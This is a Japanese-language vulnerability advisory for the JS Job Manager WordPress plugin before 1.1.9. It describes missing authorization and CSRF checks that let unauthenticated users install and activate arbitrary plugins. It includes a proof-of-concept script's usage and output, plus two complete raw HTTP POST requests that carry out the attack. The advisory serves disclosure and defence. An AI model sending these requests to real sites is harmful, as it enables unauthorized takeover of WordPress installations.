
JS Job Manager < 1.1.9 - 未認証の任意プラグインのインストール/有効化
JS Job Manager < 1.1.9 - 認証なしの任意プラグインのインストール/有効化
このプラグインの jsjobs_ajax AJAX アクションは、認証済みユーザーと未認証ユーザーの両方が利用でき、特に installPluginFromAjax と activatePluginFromAjax を使用する際に、適切な認可および CSRF チェックが行われていません。このため、未認証の攻撃者が WordPress リポジトリから任意のプラグインをインストールし、(いくつかの制限付きで) 有効化できる可能性があります。
プラグインのバージョンは制御されないため、プラグインの最新バージョンがインストールされます。
usage: js-jobs.py [-h] --url URL --slug SLUG
js-jobs.py: error: the following arguments are required: --url/-u, --slug/-s
$ python3 js-jobs.py --url http://192.168.1.131:5555 -s woocommerce
Plugin has been Downloaded.
Plugin has been downloaded and is on the server.
Plugin has been activated / activated.
プラグインをインストールするには:
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Connection: close
action=jsjobs_ajax&task=installPluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>
プラグインを有効化するには (ここには制限があり、プラグインが /.php ファイルを持っている必要があります。そうでないと有効化されません):
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Connection: close
action=jsjobs_ajax&task=activatePluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>